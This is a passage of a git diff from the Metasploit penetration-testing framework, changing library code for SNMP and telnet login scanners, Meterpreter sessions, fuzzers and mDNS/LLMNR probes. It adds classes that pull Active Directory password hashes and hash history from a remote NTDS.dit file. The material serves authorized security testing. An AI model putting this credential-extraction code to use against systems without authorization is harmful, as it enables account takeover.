OpenSSL::ASN1::OctetString(data) + ]) + ]), + ], 3, :IMPLICIT) + ]).to_der + end + + # Parse a SNMP reply from a packet and return a response hash or nil + def parse_snmp_response(pkt) + asn = OpenSSL::ASN1.decode(pkt) rescue nil + return if not asn + + snmp_vers = asn.value[0].value.to_i rescue nil + snmp_comm = asn.value[1].value rescue nil + snmp_error = asn.value[2].value[1].value.to_i rescue nil + snmp_data = asn.value[2].value[3].value[0] rescue nil + snmp_oid = snmp_data.value[0].value rescue nil + snmp_info = snmp_data.value[1].value.to_s rescue nil + + return if not (snmp_error and snmp_comm and snmp_data and snmp_oid and snmp_info) + snmp_vers = snmp_vers == 0 ? "1" : "2c" + + { error: snmp_error, community: snmp_comm, proof: snmp_info, version: snmp_vers} + end + + # Create a new socket for this scanner + def configure_socket + shutdown_socket if self.sock + self.sock = ::Rex::Socket::Udp.create( + 'Context' => + { 'Msf' => framework, 'MsfExploit' => framework_module } + ) + end + + # Close any open socket if it exists + def shutdown_socket + self.sock.close if self.sock + self.sock = nil + end + + # Sets the SNMP parameters if not specified def set_sane_defaults self.connection_timeout = DEFAULT_TIMEOUT if self.connection_timeout.nil? self.port = DEFAULT_PORT if self.port.nil? - self.retries = DEFAULT_RETRIES if self.retries.nil? self.version = DEFAULT_VERSION if self.version.nil? + self.queue_size = DEFAULT_QUEUE_SIZE if self.queue_size.nil? end - # This method takes an snmp client and tests whether - # it has read access to the remote system. It checks - # the sysDescr oid to use as proof - # @param snmp_client [SNMP::Manager] The SNMP client to use - # @return [String, nil] Returns a string if successful, nil if failed - def test_read_access(snmp_client) - proof = nil - begin - resp = snmp_client.get("sysDescr.0") - resp.each_varbind { |var| proof = var.value } - rescue RuntimeError - proof = nil - end - proof - end - - - end end diff --git a/lib/metasploit/framework/login_scanner/telnet.rb b/lib/metasploit/framework/login_scanner/telnet.rb index 29ed0f4b97..812e631458 100644 --- a/lib/metasploit/framework/login_scanner/telnet.rb +++ b/lib/metasploit/framework/login_scanner/telnet.rb @@ -85,7 +85,7 @@ module Metasploit recvd_sample = @recvd.dup # Allow for slow echos 1.upto(10) do - recv_telnet(self.sock, 0.10) unless @recvd.nil? or @recvd[/#{@password_prompt}/] + recv_telnet(self.sock, 0.10) unless @recvd.nil? || password_prompt?(@recvd) end if password_prompt?(credential.public) diff --git a/lib/metasploit/framework/ntds/account.rb b/lib/metasploit/framework/ntds/account.rb new file mode 100644 index 0000000000..d47a6507cc --- /dev/null +++ b/lib/metasploit/framework/ntds/account.rb @@ -0,0 +1,165 @@ +module Metasploit + module Framework + module NTDS + # This class represents an NTDS account structure as sent back by Meterpreter's + # priv extension. + class Account + + # Size of an NTDS Account Struct on the Wire + ACCOUNT_SIZE = 3016 + # Size of a Date or Time Format String on the Wire + DATE_TIME_STRING_SIZE = 30 + # Size of the AccountDescription Field + DESCRIPTION_SIZE =1024 + # Size of a Hash History Record + HASH_HISTORY_SIZE = 792 + # Size of a Hash String + HASH_SIZE = 33 + # Size of the samAccountName field + NAME_SIZE = 128 + + #@return [String] The AD Account Description + attr_accessor :description + #@return [Boolean] If the AD account is disabled + attr_accessor :disabled + #@return [Boolean] If the AD account password is expired + attr_accessor :expired + #@return [String] Human Readable Date for the account's password expiration + attr_accessor :expiry_date + #@return [String] The LM Hash of the current password + attr_accessor :lm_hash + #@return [Array] The LM hashes for previous passwords, up to 24 + attr_accessor :lm_history + #@return [Fixnum] The count of historical LM hashes + attr_accessor :lm_history_count + #@return [Boolean] If the AD account is locked + attr_accessor :locked + #@return [Fixnum] The number of times this account has logged in + attr_accessor :logon_count + #@return [String] Human Readable Date for the last time the account logged in + attr_accessor :logon_date + #@return [String] Human Readable Time for the last time the account logged in + attr_accessor :logon_time + #@return [String] The samAccountName of the account + attr_accessor :name + #@return [Boolean] If the AD account password does not expire + attr_accessor :no_expire + #@return [Boolean] If the AD account does not require a password + attr_accessor :no_pass + #@return [String] The NT Hash of the current password + attr_accessor :nt_hash + #@return [Array] The NT hashes for previous passwords, up to 24 + attr_accessor :nt_history + #@return [Fixnum] The count of historical NT hashes + attr_accessor :nt_history_count + #@return [String] Human Readable Date for the last password change + attr_accessor :pass_date + #@return [String] Human Readable Time for the last password change + attr_accessor :pass_time + #@return [Fixnum] The Relative ID of the account + attr_accessor :rid + #@return [String] Byte String for the Account's SID + attr_accessor :sid + + # @param raw_data [String] the raw 3948 byte string from the wire + # @raise [ArgumentErrror] if a 3948 byte string is not supplied + def initialize(raw_data) + raise ArgumentError, "No Data Supplied" unless raw_data.present? + raise ArgumentError, "Invalid Data" unless raw_data.length == ACCOUNT_SIZE + data = raw_data.dup + @name = get_string(data,NAME_SIZE) + @description = get_string(data,DESCRIPTION_SIZE) + @rid = get_int(data) + @disabled = get_boolean(data) + @locked = get_boolean(data) + @no_pass = get_boolean(data) + @no_expire = get_boolean(data) + @expired = get_boolean(data) + @logon_count = get_int(data) + @nt_history_count = get_int(data) + @lm_history_count = get_int(data) + @expiry_date = get_string(data,DATE_TIME_STRING_SIZE) + @logon_date = get_string(data,DATE_TIME_STRING_SIZE) + @logon_time = get_string(data,DATE_TIME_STRING_SIZE) + @pass_date = get_string(data,DATE_TIME_STRING_SIZE) + @pass_time = get_string(data,DATE_TIME_STRING_SIZE) + @lm_hash = get_string(data,HASH_SIZE) + @nt_hash = get_string(data,HASH_SIZE) + @lm_history = get_hash_history(data) + @nt_history = get_hash_history(data) + @sid = data + end + + # @return [String] String representation of the account data + def to_s + <<-EOS.strip_heredoc + #{@name} (#{@description}) + #{@name}:#{@rid}:#{ntlm_hash} + Password Expires: #{@expiry_date} + Last Password Change: #{@pass_time} #{@pass_date} + Last Logon: #{@logon_time} #{@logon_date} + Logon Count: #{@logon_count} + #{uac_string} + Hash History: + #{hash_history} + EOS + end + + # @return [String] the NTLM hash string for the current password + def ntlm_hash + "#{@lm_hash}:#{@nt_hash}" + end + + # @return [String] Each historical NTLM Hash on a new line + def hash_history + history_string = '' + @lm_history.each_with_index do | lm_hash, index| + history_string << "#{@name}:#{@rid}:#{lm_hash}:#{@nt_history[index]}\n" + end + history_string + end + + private + + def get_boolean(data) + get_int(data) == 1 + end + + def get_hash_history(data) + raw_history = data.slice!(0,HASH_HISTORY_SIZE) + split_history = raw_history.scan(/.{1,33}/) + split_history.map!{ |hash| hash.gsub(/\x00/,'')} + split_history.reject!{ |hash| hash.blank? } + end + + def get_int(data) + data.slice!(0,4).unpack('L').first + end + + def get_string(data,length) + data.slice!(0,length).gsub(/\x00/,'') + end + + def uac_string + status_string = '' + if @disabled + status_string << " - Account Disabled\n" + end + if @expired + status_string << " - Password Expired\n" + end + if @locked + status_string << " - Account Locked Out\n" + end + if @no_expire + status_string << " - Password Never Expires\n" + end + if @no_pass + status_string << " - No Password Required\n" + end + status_string + end + end + end + end +end diff --git a/lib/metasploit/framework/ntds/parser.rb b/lib/metasploit/framework/ntds/parser.rb new file mode 100644 index 0000000000..7c4d91890c --- /dev/null +++ b/lib/metasploit/framework/ntds/parser.rb @@ -0,0 +1,70 @@ +module Metasploit + module Framework + module NTDS + require 'metasploit/framework/ntds/account' + # This class respresent an NTDS parser. It interacts with the Meterpreter Client + # to provide a simple interface for enumerating AD user accounts. + class Parser + + # The size, in Bytes, of a batch of NTDS accounts + BATCH_SIZE = (Metasploit::Framework::NTDS::Account::ACCOUNT_SIZE * 20) + + #@return [Rex::Post::Meterpreter::Channels::Pool] The Meterpreter NTDS Parser Channel + attr_accessor :channel + #@return [Msf::Session] The Meterpreter Client + attr_accessor :client + #@return [String] The path to the NTDS.dit file on the remote system + attr_accessor :file_path + + def initialize(client, file_path='') + raise ArgumentError, "Invalid Filepath" unless file_path.present? + @file_path = file_path + @channel = client.extapi.ntds.parse(file_path) + @client = client + end + + # Yields a [Metasploit::Framework::NTDS::Account] for each account found + # in the remote NTDS.dit file. + # + # @yield [account] + # @yieldparam account [Metasploit::Framework::NTDS::Account] an AD user account + # @yieldreturn [void] does not return a value + def each_account + raw_batch_data = pull_batch + until raw_batch_data.nil? + batch = raw_batch_data.dup + while batch.present? + raw_data = batch.slice!(0,Metasploit::Framework::NTDS::Account::ACCOUNT_SIZE) + # Make sure our data isn't all Null-bytes + if raw_data.match(/[^\x00]/) + account = Metasploit::Framework::NTDS::Account.new(raw_data) + yield account + end + end + raw_batch_data = pull_batch + end + channel.close + end + + private + + def pull_batch + if channel.cid.nil? + reopen_channel + end + begin + raw_batch_data = channel.read(BATCH_SIZE) + rescue EOFError + raw_batch_data = nil + end + raw_batch_data + end + + def reopen_channel + @channel = client.extapi.ntds.parse(file_path) + end + + end + end + end +end diff --git a/lib/metasploit/framework/rails_version_constraint.rb b/lib/metasploit/framework/rails_version_constraint.rb index aa75929e45..6258becfb0 100644 --- a/lib/metasploit/framework/rails_version_constraint.rb +++ b/lib/metasploit/framework/rails_version_constraint.rb @@ -4,9 +4,8 @@ module Metasploit module Framework module RailsVersionConstraint - # The Metasploit ecosystem is not ready for Rails 4 as it uses features of - # Rails 3.X that are removed in Rails 4. + # The Metasploit ecosystem is not yet ready for Rails 4.1: RAILS_VERSION = [ '>= 4.0.9', '< 4.1.0' ] end end -end \ No newline at end of file +end diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index 4591fdc847..033add379b 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -1,13 +1,43 @@ +require 'rbconfig' +require 'yaml' + module Metasploit module Framework module Version + # Determines the git hash for this source tree + # + # @return [String] the git hash for this source tree + def self.get_hash + @@git_hash ||= begin + root = File.expand_path(File.join(File.dirname(__FILE__), '..', '..', '..')) + version_yml = File.join(root, 'version.yml') + hash = '' + + if File.exist?(version_yml) + version_info = YAML.load_file(version_yml) + hash = '-' + version_info['build_framework_rev'] + else + # determine if git is installed + void = RbConfig::CONFIG['host_os'] =~ /mswin|mingw/ ? 'NUL' : '/dev/null' + git_installed = system("git --version >>#{void} 2>&1") + + # get the hash of the HEAD commit + if git_installed && File.exist?(File.join(root, '.git')) + hash = '-' + `git rev-parse HEAD`[0, 8] + end + end + hash.strip + end + end + MAJOR = 4 MINOR = 11 - PATCH = 0 + PATCH = 4 PRERELEASE = 'dev' + HASH = get_hash end - VERSION = "#{Version::MAJOR}.#{Version::MINOR}.#{Version::PATCH}-#{Version::PRERELEASE}" - GEM_VERSION = VERSION.gsub('-', '.pre.') + VERSION = "#{Version::MAJOR}.#{Version::MINOR}.#{Version::PATCH}-#{Version::PRERELEASE}#{Version::HASH}" + GEM_VERSION = "#{Version::MAJOR}.#{Version::MINOR}.#{Version::PATCH}" end end diff --git a/lib/msf/base/logging.rb b/lib/msf/base/logging.rb index 0a0c475c5b..893d97031a 100644 --- a/lib/msf/base/logging.rb +++ b/lib/msf/base/logging.rb @@ -80,7 +80,7 @@ class Logging # @return [void] def self.start_session_log(session) if (log_source_registered?(session.log_source) == false) - f = Rex::Logging::Sinks::Flatfile.new( + f = Rex::Logging::Sinks::TimestampFlatfile.new( Msf::Config.session_log_directory + File::SEPARATOR + "#{session.log_file_name}.log") register_log_source(session.log_source, f) diff --git a/lib/msf/base/serializer/readable_text.rb b/lib/msf/base/serializer/readable_text.rb index 7749515b92..c62db55496 100644 --- a/lib/msf/base/serializer/readable_text.rb +++ b/lib/msf/base/serializer/readable_text.rb @@ -589,8 +589,11 @@ class ReadableText sess_via = session.via_exploit.to_s sess_type = session.type.to_s sess_uuid = session.payload_uuid.to_s + sess_puid = session.payload_uuid.respond_to?(:puid_hex) ? session.payload_uuid.puid_hex : nil + sess_checkin = "" sess_machine_id = session.machine_id.to_s + sess_registration = "No" if session.respond_to? :platform sess_type << (" " + session.platform) @@ -600,6 +603,13 @@ class ReadableText sess_checkin = "#{(Time.now.to_i - session.last_checkin.to_i)}s ago @ #{session.last_checkin.to_s}" end + if session.payload_uuid.respond_to?(:puid_hex) && (uuid_info = framework.uuid_db[sess_puid]) + sess_registration = "Yes" + if uuid_info['name'] + sess_registration << " - Name=\"#{uuid_info['name']}\"" + end + end + out << " Session ID: #{sess_id}\n" out << " Type: #{sess_type}\n" out << " Info: #{sess_info}\n" @@ -608,6 +618,10 @@ class ReadableText out << " UUID: #{sess_uuid}\n" out << " MachineID: #{sess_machine_id}\n" out << " CheckIn: #{sess_checkin}\n" + out << " Registered: #{sess_registration}\n" + + + out << "\n" end diff --git a/lib/msf/base/sessions/meterpreter.rb b/lib/msf/base/sessions/meterpreter.rb index 35227de609..a2c031f93a 100644 --- a/lib/msf/base/sessions/meterpreter.rb +++ b/lib/msf/base/sessions/meterpreter.rb @@ -319,25 +319,28 @@ class Meterpreter < Rex::Post::Meterpreter::Client false end + def update_session_info + username = self.sys.config.getuid + sysinfo = self.sys.config.sysinfo + + safe_info = "#{username} @ #{sysinfo['Computer']}" + safe_info.force_encoding("ASCII-8BIT") if safe_info.respond_to?(:force_encoding) + # Should probably be using Rex::Text.ascii_safe_hex but leave + # this as is for now since "\xNN" is arguably uglier than "_" + # showing up in various places in the UI. + safe_info.gsub!(/[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]+/n,"_") + self.info = safe_info + end + # # Populate the session information. # # Also reports a session_fingerprint note for host os normalization. # - def load_session_info() + def load_session_info begin ::Timeout.timeout(60) do - # Gather username/system information - username = self.sys.config.getuid - sysinfo = self.sys.config.sysinfo - - safe_info = "#{username} @ #{sysinfo['Computer']}" - safe_info.force_encoding("ASCII-8BIT") if safe_info.respond_to?(:force_encoding) - # Should probably be using Rex::Text.ascii_safe_hex but leave - # this as is for now since "\xNN" is arguably uglier than "_" - # showing up in various places in the UI. - safe_info.gsub!(/[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]+/n,"_") - self.info = safe_info + update_session_info hobj = nil @@ -372,9 +375,9 @@ class Meterpreter < Rex::Post::Meterpreter::Client :host => self, :workspace => wspace, :data => { - :name => sysinfo["Computer"], - :os => sysinfo["OS"], - :arch => sysinfo["Architecture"], + :name => sys.config.sysinfo["Computer"], + :os => sys.config.sysinfo["OS"], + :arch => sys.config.sysinfo["Architecture"], } }) diff --git a/lib/msf/base/sessions/meterpreter_android.rb b/lib/msf/base/sessions/meterpreter_android.rb index f3417ae8c7..5728ddd036 100644 --- a/lib/msf/base/sessions/meterpreter_android.rb +++ b/lib/msf/base/sessions/meterpreter_android.rb @@ -20,7 +20,7 @@ class Meterpreter_Java_Android < Msf::Sessions::Meterpreter_Java_Java end def load_android - original = console.disable_output + original = console.disable_output console.disable_output = true console.run_single('load android') console.disable_output = original diff --git a/lib/msf/base/sessions/meterpreter_options.rb b/lib/msf/base/sessions/meterpreter_options.rb index 30c3711ee1..789f25c801 100644 --- a/lib/msf/base/sessions/meterpreter_options.rb +++ b/lib/msf/base/sessions/meterpreter_options.rb @@ -13,6 +13,7 @@ module MeterpreterOptions [ OptBool.new('AutoLoadStdapi', [true, "Automatically load the Stdapi extension", true]), OptBool.new('AutoVerifySession', [true, "Automatically verify and drop invalid sessions", true]), + OptInt.new('AutoVerifySessionTimeout', [false, "Timeout period to wait for session validation to occur, in seconds", 30]), OptString.new('InitialAutoRunScript', [false, "An initial script to run on session creation (before AutoRunScript)", '']), OptString.new('AutoRunScript', [false, "A script to run automatically on session creation.", '']), OptBool.new('AutoSystemInfo', [true, "Automatically capture system information on initialization.", true]), @@ -43,7 +44,7 @@ module MeterpreterOptions valid = true if datastore['AutoVerifySession'] == true - if not session.is_valid_session? + if not session.is_valid_session?(datastore['AutoVerifySessionTimeout'].to_i) print_error("Meterpreter session #{session.sid} is not valid and will be closed") valid = false end diff --git a/lib/msf/base/sessions/powershell.rb b/lib/msf/base/sessions/powershell.rb index f2d129f5cc..6451af384d 100644 --- a/lib/msf/base/sessions/powershell.rb +++ b/lib/msf/base/sessions/powershell.rb @@ -58,8 +58,8 @@ class Msf::Sessions::PowerShell < Msf::Sessions::CommandShell buff << res if buff.match(/#{endm}/) # if you see the end marker, read the buffer from the start marker to the end and then display back to screen - buff = buff.split(/#{strm}/)[-1] - buff.gsub!(/PS .*>/, '') + buff = buff.split(/#{strm}\r\n/)[-1] + buff.gsub!(/\nPS .*>/, '') buff.gsub!(/#{endm}/, '') return buff end diff --git a/lib/msf/base/simple/framework/module_paths.rb b/lib/msf/base/simple/framework/module_paths.rb index 952f32f051..d2ba08fc3f 100644 --- a/lib/msf/base/simple/framework/module_paths.rb +++ b/lib/msf/base/simple/framework/module_paths.rb @@ -9,52 +9,62 @@ module Msf def init_module_paths(opts={}) if @module_paths_inited fail "Module paths already initialized. To add more module paths call `modules.add_module_path`" - else - # Ensure the module cache is accurate - self.modules.refresh_cache_from_database - - add_engine_module_paths(Rails.application, opts) - - Rails.application.railties.engines.each do |engine| - add_engine_module_paths(engine, opts) - end - - # Initialize the user module search path - if (Msf::Config.user_module_directory) - self.modules.add_module_path(Msf::Config.user_module_directory, opts) - end - - # If additional module paths have been defined globally, then load them. - # They should be separated by semi-colons. - if self.datastore['MsfModulePaths'] - self.datastore['MsfModulePaths'].split(";").each { |path| - self.modules.add_module_path(path, opts) - } - end - - @module_paths_inited = true + return end + + allowed_module_paths = [] + extract_engine_module_paths(Rails.application).each do |path| + allowed_module_paths << path + end + + if Msf::Config.user_module_directory + allowed_module_paths << Msf::Config.user_module_directory + end + + Rails.application.railties.engines.each do |engine| + extract_engine_module_paths(engine).each do |path| + allowed_module_paths << path + end + end + + # If additional module paths have been defined globally, then load them. + # They should be separated by semi-colons. + self.datastore['MsfModulePaths'].to_s.split(";").each do |path| + allowed_module_paths << path + end + + # If the caller had additional paths to search, load them. + # They should be separated by semi-colons. + opts.delete(:module_paths).to_s.split(";").each do |path| + allowed_module_paths << path + end + + # Remove any duplicate paths + allowed_module_paths.uniq! + + # Update the module cache from the database + self.modules.refresh_cache_from_database(allowed_module_paths) + + # Load each of the module paths + allowed_module_paths.each do |path| + self.modules.add_module_path(path, opts) + end + + @module_paths_inited = true end private - # Add directories `engine.paths['modules']` from `engine`. + # Extract directories `engine.paths['modules']` from `engine`. # # @param engine [Rails::Engine] a rails engine or application # @param options [Hash] options for {Msf::ModuleManager::ModulePaths#add_module_paths} - # @return [void] - def add_engine_module_paths(engine, options={}) - modules_paths = engine.paths['modules'] - - if modules_paths - modules_directories = modules_paths.existent_directories - - modules_directories.each do |modules_directory| - modules.add_module_path(modules_directory, options) - end - end + # @return [Array] The list of module paths to load + def extract_engine_module_paths(engine) + engine.paths['modules'] ? engine.paths['modules'].existent_directories : [] end + end end end -end \ No newline at end of file +end diff --git a/lib/msf/core/auxiliary/fuzzer.rb b/lib/msf/core/auxiliary/fuzzer.rb index 5f15235c2a..577b59091c 100644 --- a/lib/msf/core/auxiliary/fuzzer.rb +++ b/lib/msf/core/auxiliary/fuzzer.rb @@ -8,9 +8,7 @@ module Msf ### module Auxiliary::Fuzzer - # - # Creates an instance of a fuzzer module - # + def initialize(info = {}) super register_advanced_options([ @@ -20,9 +18,12 @@ module Auxiliary::Fuzzer end + # Will return or yield numbers based on the presence of a block. # - # Self-reflective iterators - # + # @return [Array] Returns an array of arrays of numbers if there is no block given + # @yield [Array] Yields an array of numbers if there is a block given + # @see #fuzzer_number_power2 + def fuzz_numbers res = [] self.methods.sort.grep(/^fuzzer_number/).each do |m| @@ -32,6 +33,12 @@ module Auxiliary::Fuzzer res end + + # Will return or yield a string based on the presense of a block + # + # @return [Array] Returns and array of arrays of strings if there is no block given + # @yield [Array] Yields array of strings if there is a block given + def fuzz_strings res = [] self.methods.sort.grep(/^fuzzer_string/).each do |m| @@ -41,11 +48,13 @@ module Auxiliary::Fuzzer res end + # Modifies each byte of the string from beginning to end, packing each element as an 8 bit character. # - # General input mangling routines - # + # @param str [String] The string the mutation will be based on. + # @param max [Fixnum, NilClass] Max string size. + # @return [Array] Returns an array of an array of strings + # @see #fuzzer_string_format - # Modify each byte of the string moving forward def fuzz_string_corrupt_byte(str,max=nil) res = [] 0.upto(max ? [max,str.length-1].min : (str.length - 1)) do |offset| @@ -59,7 +68,13 @@ module Auxiliary::Fuzzer res end - # Modify each byte of the string moving backward + # Modifies each byte of the string from beginning to end, packing each element as an 8 bit character. + # + # @param str [String] The string the mutation will be based on. + # @param max [Fixnum, NilClass] Max string size. + # @return [Array] Returns an array of an array of strings + # @see fuzzer_string_format + def fuzz_string_corrupt_byte_reverse(str,max=nil) res = [] (max ? [max,str.length-1].min : (str.length - 1)).downto(0) do |offset| @@ -73,20 +88,29 @@ module Auxiliary::Fuzzer res end - # # Useful generators (many derived from AxMan) # + # @return [Array] Returns and array of strings. def fuzzer_string_format res = %W{ %s %p %n %x %@ %.257d %.65537d %.2147483648d %.257f %.65537f %.2147483648f} block_given? ? res.each { |n| yield(n) } : res end + # Reserved filename array + # Useful generators (many derived from AxMan) + # + # @return [Array] Returns and array of reserved filenames in Windows. + def fuzzer_string_filepath_dos res = %W{ aux con nul com1 com2 com3 com4 lpt1 lpt2 lp3 lpt4 prn } block_given? ? res.each { |n| yield(n) } : res end + # Fuzzer Numbers by Powers of Two + # + # @return [Array] Returns an array with pre-set values + def fuzzer_number_power2 res = [ 0x100000000, @@ -105,6 +129,10 @@ module Auxiliary::Fuzzer block_given? ? res.each { |n| yield(n) } : res end + # Powers of two by some fuzzing factor. + # + # @return [Array] Returns and array of integers. + def fuzzer_number_power2_plus res = [] fuzzer_number_power2 do |num| @@ -119,6 +147,12 @@ module Auxiliary::Fuzzer block_given? ? res.each { |n| yield(n) } : res end + # Generates a fuzz string If no block is set, it will retrive characters from the + # FuzzChar datastore option. + # + # @param len [Fixnum] String size. + # @return [String] Returns a string of size 1024 * 512 specified by the user + def fuzzer_gen_string(len) @gen_string_block ||= datastore['FuzzChar'][0,1] * (1024 * 512) res = '' @@ -128,6 +162,9 @@ module Auxiliary::Fuzzer res[0,len] end + # Creates a smaller fuzz string starting from length 16 -> 512 bytes long + # + # @return [Array] Returns an array of characters def fuzzer_string_small res = [] 16.step(512,16) do |len| @@ -137,6 +174,9 @@ module Auxiliary::Fuzzer res end + # Creates a longer fuzz string from length 64 -> 8192 bytes long + # + # @return [Array] Returns an array of characters def fuzzer_string_long res = [] 64.step(8192,64) do |len| @@ -147,6 +187,9 @@ module Auxiliary::Fuzzer res end + # Creates a giant fuzz string from length 512 -> 131,064 bytes long + # + # @return [Array] Returns an array of characters def fuzzer_string_giant res = [] 512.step(65532 * 2, 512) do |len| @@ -157,6 +200,9 @@ module Auxiliary::Fuzzer res end + # Various URI types + # + # @return [Array] Returns an array of strings def fuzzer_string_uri_types res = %W{ aaa aaas about acap adiumxtra afp aim apt aw bolo callto cap chrome cid @@ -174,16 +220,28 @@ module Auxiliary::Fuzzer block_given? ? res.each { |n| yield(n) } : res end + # Generator for common URI dividers + # + # @return [Array] Returns an array of strings + def fuzzer_string_uri_dividers res = %W{ : :// } block_given? ? res.each { |n| yield(n) } : res end + # Generator for common path prefixes + # + # @return [Array] Returns an array of strings + def fuzzer_string_path_prefixes res = %W{ C:\\ \\\\localhost\\ / } block_given? ? res.each { |n| yield(n) } : res end + # Generates various small URI string types + # + # @return [Array] Returns an array of stings + def fuzzer_string_uris_small res = [] fuzzer_string_uri_types do |proto| @@ -197,6 +255,10 @@ module Auxiliary::Fuzzer res end +# Generates various long URI string types +# +# @return [Array] Returns an array of stings + def fuzzer_string_uris_long res = [] fuzzer_string_uri_types do |proto| @@ -210,6 +272,10 @@ module Auxiliary::Fuzzer res end + # Generates various giant URI string types + # + # @return [Array] Returns an array of stings + def fuzzer_string_uris_giant res = [] fuzzer_string_uri_types do |proto| @@ -223,6 +289,10 @@ module Auxiliary::Fuzzer res end + # Format for the URI string generator + # + # @return [Array] Returns an array of stings + def fuzzer_string_uris_format res = [] fuzzer_string_uri_types do |proto| @@ -236,6 +306,11 @@ module Auxiliary::Fuzzer res end + + # Generates various small strings + # + # @return [Array] Returns an array of stings + def fuzzer_string_uris_dos res = [] fuzzer_string_uri_types do |proto| @@ -249,6 +324,11 @@ module Auxiliary::Fuzzer res end + + # Generates various small strings + # + # @return [Array] Returns an array of stings + def fuzzer_string_paths_small res = [] fuzzer_string_path_prefixes do |pre| @@ -260,6 +340,11 @@ module Auxiliary::Fuzzer res end + + # Generates various small strings + # + # @return [Array] Returns an array of stings + def fuzzer_string_paths_long res = [] fuzzer_string_path_prefixes do |pre| @@ -271,6 +356,11 @@ module Auxiliary::Fuzzer res end + + # Generates various giant strings + # + # @return [Array] Returns an array of stings + def fuzzer_string_paths_giant res = [] fuzzer_string_path_prefixes do |pre| @@ -282,6 +372,11 @@ module Auxiliary::Fuzzer res end + + # Format for the path generator + # + # @return [Array] Returns an array of stings + def fuzzer_string_paths_format res = [] fuzzer_string_path_prefixes do |pre| @@ -293,6 +388,11 @@ module Auxiliary::Fuzzer res end + + # Generates fuzzer strings using path prefixes + # + # @return [Array] Returns an array of stings + def fuzzer_string_paths_dos res = [] fuzzer_string_path_prefixes do |pre| diff --git a/lib/msf/core/auxiliary/llmnr.rb b/lib/msf/core/auxiliary/llmnr.rb new file mode 100644 index 0000000000..a1617b2226 --- /dev/null +++ b/lib/msf/core/auxiliary/llmnr.rb @@ -0,0 +1,24 @@ +# -*- coding: binary -*- +require 'msf/core/auxiliary/mdns' + +module Msf + # This module provides methods for working with LLMNR + module Auxiliary::LLMNR + include Auxiliary::MDNS + + # Initializes an instance of an auxiliary module that uses LLMNR + def initialize(info = {}) + super + register_options( + [ + OptAddressRange.new('RHOSTS', [true, 'The multicast address or CIDR range of targets to query', '224.0.0.252']), + Opt::RPORT(5355), + # TODO: allow more than one + OptString.new('NAME', [true, 'The name to query', 'localhost']), + OptString.new('TYPE', [true, 'The query type (name, # or TYPE#)', 'A']) + ], + self.class + ) + end + end +end diff --git a/lib/msf/core/auxiliary/mdns.rb b/lib/msf/core/auxiliary/mdns.rb new file mode 100644 index 0000000000..fc3f6860c2 --- /dev/null +++ b/lib/msf/core/auxiliary/mdns.rb @@ -0,0 +1,108 @@ +# -*- coding: binary -*- +require 'net/dns' + +module Msf + # This module provides methods for working with mDNS + module Auxiliary::MDNS + # Initializes an instance of an auxiliary module that uses mDNS + def initialize(info = {}) + super + register_options( + [ + OptAddressRange.new('RHOSTS', [true, 'The multicast address or CIDR range of targets to query', '224.0.0.251']), + Opt::RPORT(5353), + OptString.new('NAME', [true, 'The name to query', '_services._dns-sd._udp.local']), + OptString.new('TYPE', [true, 'The query type (name, # or TYPE#)', 'PTR']), + OptString.new('CLASS', [true, 'The query class (name, # or CLASS#)', 'IN']) + ], + self.class + ) + end + + def setup + query_class_name + query_type_name + end + + def build_probe + @probe ||= ::Net::DNS::Packet.new(query_name, query_type_num, query_class_num).data + # TODO: support QU vs QM probes + # @probe[@probe.size-2] = [0x80].pack('C') + # @probe + end + + def query_class + if datastore['CLASS'] =~ /^\d+$/ + datastore['CLASS'].to_i + else + datastore['CLASS'].upcase + end + end + + def query_class_name + Net::DNS::RR::Classes.new(query_class).to_s + end + + def query_class_num + Net::DNS::RR::Classes.new(query_class).to_i + end + + def query_type + if datastore['TYPE'] =~ /^\d+$/ + datastore['TYPE'].to_i + else + datastore['TYPE'].upcase + end + end + + def query_name + datastore['NAME'] + end + + def query_type_name + Net::DNS::RR::Types.new(query_type).to_s + end + + def query_type_num + Net::DNS::RR::Types.new(query_type).to_i + end + + def describe_response(response) + decoded = Resolv::DNS::Message.decode(response) + answers = decoded.answer + + if answers.empty? # not sure this will ever happen... + "no answers" + else + # there are often many answers for the same RR, so group them + grouped_answers = answers.group_by { |name, _, _| name } + # now summarize each group by noting the resource type and the notable + # part(s) of that RR + summarized_answers = grouped_answers.map do |name, these_answers| + summarized_group = these_answers.map do |_, _, data| + case data + when Resolv::DNS::Resource::IN::A + "A #{data.address}" + when Resolv::DNS::Resource::IN::AAAA + "AAAA #{data.address}" + when Resolv::DNS::Resource::IN::PTR + "PTR #{data.name}" + when Resolv::DNS::Resource::IN::SRV + "SRV #{data.target}" + when Resolv::DNS::Resource::IN::TXT + "TXT #{data.strings.join(',')}" + else + data.inspect + end + end + "#{name}: (#{summarized_group.join(", ")})" + end + summarized_answers.join(', ') + end + end + + def request_info + "#{query_name} #{query_class}/#{query_type}" + end + end +end diff --git a/lib/msf/core/auxiliary/mixins.rb b/lib/msf/core/auxiliary/mixins.rb index c88cba7dd9..2fb5934729 100644 --- a/lib/msf/core/auxiliary/mixins.rb +++ b/lib/msf/core/auxiliary/mixins.rb @@ -20,6 +20,8 @@ require 'msf/core/auxiliary/login' require 'msf/core/auxiliary/rservices' require 'msf/core/auxiliary/cisco' require 'msf/core/auxiliary/kademlia' +require 'msf/core/auxiliary/llmnr' +require 'msf/core/auxiliary/mdns' require 'msf/core/auxiliary/nmap' require 'msf/core/auxiliary/natpmp' require 'msf/core/auxiliary/iax2' diff --git a/lib/msf/core/auxiliary/report.rb b/lib/msf/core/auxiliary/report.rb index a12487f593..3ab5efe66a 100644 --- a/lib/msf/core/auxiliary/report.rb +++ b/lib/msf/core/auxiliary/report.rb @@ -179,7 +179,13 @@ module Auxiliary::Report # @option opts [String] :pass The private part of the credential (e.g. password) def report_auth_info(opts={}) print_warning("*** #{self.fullname} is still calling the deprecated report_auth_info method! This needs to be updated!") - return if not db + print_warning('*** For detailed information about LoginScanners and the Credentials objects see:') + print_warning(' https://github.com/rapid7/metasploit-framework/wiki/Creating-Metasploit-Framework-LoginScanners') + print_warning(' https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-HTTP-LoginScanner-Module') + print_warning('*** For examples of modules converted to just report credentials without report_auth_info, see:') + print_warning(' https://github.com/rapid7/metasploit-framework/pull/5376') + print_warning(' https://github.com/rapid7/metasploit-framework/pull/5377') + return unless db raise ArgumentError.new("Missing required option :host") if opts[:host].nil? 